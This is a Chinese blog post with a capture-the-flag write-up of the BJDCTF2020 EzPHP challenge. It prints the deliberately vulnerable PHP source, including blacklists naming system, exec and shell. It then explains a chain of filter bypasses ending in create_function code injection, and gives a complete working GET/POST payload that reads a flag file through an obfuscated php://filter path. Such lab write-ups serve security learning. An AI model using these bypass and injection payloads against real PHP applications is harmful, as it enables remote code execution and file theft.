[BJDCTF2020]EzPHP

3 篇文章 0 订阅

前言

这个题目考的php知识真的比较多,也比较经典。由于我php基础不是很好,总会遇到一些问题。花时间弄懂这道题后也能更加巩固所学的知识。所以这道题还是有必要记录下来的。

题目

打开题目,在前端代码注释有这么一行编码。

受固化思想的影响,看都不看直接去base64解码,但是解出来是乱码。随后观察了下,像是base32,解码得到一个文件1nD3x.php,url访问得到题目源码。

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?> 

 有好多层的限制,我们一层一层的来看。

第一关(使用url编码绕过)

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

$_SERVER['QUERY_STRING']匹配url后边的内容,并且有黑名单的限制。那么我们怎么GET提交参数呢?解决办法是将字母url编码,preg_match函数在进行匹配的时候不会自动解码。

第二关(%0a换行绕过)

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

老考点了,后面加个换行就能绕过匹配限制。但是注意的是上面黑名单有的单词要url编码,否则会die的。

那么我们先打一下payload看看效果。

 很明显前两关是成功绕过了的。根据题目回显找对应的die语句。

第三关(POST优先级高于GET)

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

这对于我来说是一个新的点。$_REQUEST是php的全局变量,主要收集html表单的数据,在这里,它可以获取GET传入的数据,也能获取POST传入的数据。有意思的是如果GET和POST同时提交相同的变量,$_REQUEST只会取POST传入的数据。所以我们只要再POST没有字母的数据就ok了。

看看效果:

第四关(data协议)  

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

就过滤了http和https,直接用php伪协议就能过了。也要注意在黑名单上的单词需要url编码。

第五关(数组绕过)

if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

弱比较,数组直接就能绕了。打一下不完全payload看看效果。

就剩最后一步,也是最难的一步。

第六关(create_function函数注入)  

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 

最后一行的代码函数名可控,参数可控,和ctfshow的php特性的一道题类似,都是用create_function函数来执行命令。那么create_function代码注入究竟是个什么东西?

create_function是创建匿名函数的,比如这样一段代码:

function www{
	echo "1";
}

这就是匿名函数的创建过程,如果我们能够控制其参数,向其注入代码

function www{
	echo "1";}phpinfo();/*
}

学过sql注入都懂这种闭合,其phpinfo可以执行,原因是create_function调用了eval函数的,可以执行任意代码。

这篇文章讲到非常详细([科普向] 解析create_function() && 复现wp

那么code和arg我们该怎么传进去?extract($_GET["flag"]);典型的变量覆盖,变量覆盖接触的比较早,一看这个还挺懵。就传一个flag怎么覆盖其他变量的值呢?之后知道传flag数组覆盖其他两个变量。由于黑名单过滤掉了单双引号,我们只能使用无参函数。那么我们就使用var_dump(get_defined_vars())遍历当前目录。

最后一句有个提示,flag在rea1fl4g.php这个文件里。到这里就挺坑的,按理来说是直接可以require包含获取flag的。但是读出来是个假的flag。这个rea1fl4g.php文件的源码如下

<?php
	echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
	$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
	$rea1_f1114g = "flag{e838bb85-f4a7-4ca8-8388-248af505e9cc}";
	unset($rea1_f1114g);

在我们包含这个文件的时候,会自动执行php代码,那么这个真的flag变量就会unset出去。在上帝视角可能不觉得,但是做题得到假的flag真的很懵。所以采用php伪协议配合过滤器来读,但是黑名单过滤了点,看别的师傅写的可以用取反来绕过。

<?php
$str = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$str);
?>

最终payload为

//GET
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&f%6cag[c%6fde]=create_function&f%6cag[a%72g]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
//POST
debu=1&file=1

最终得出rea1fl4g.php文件的base64编码。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值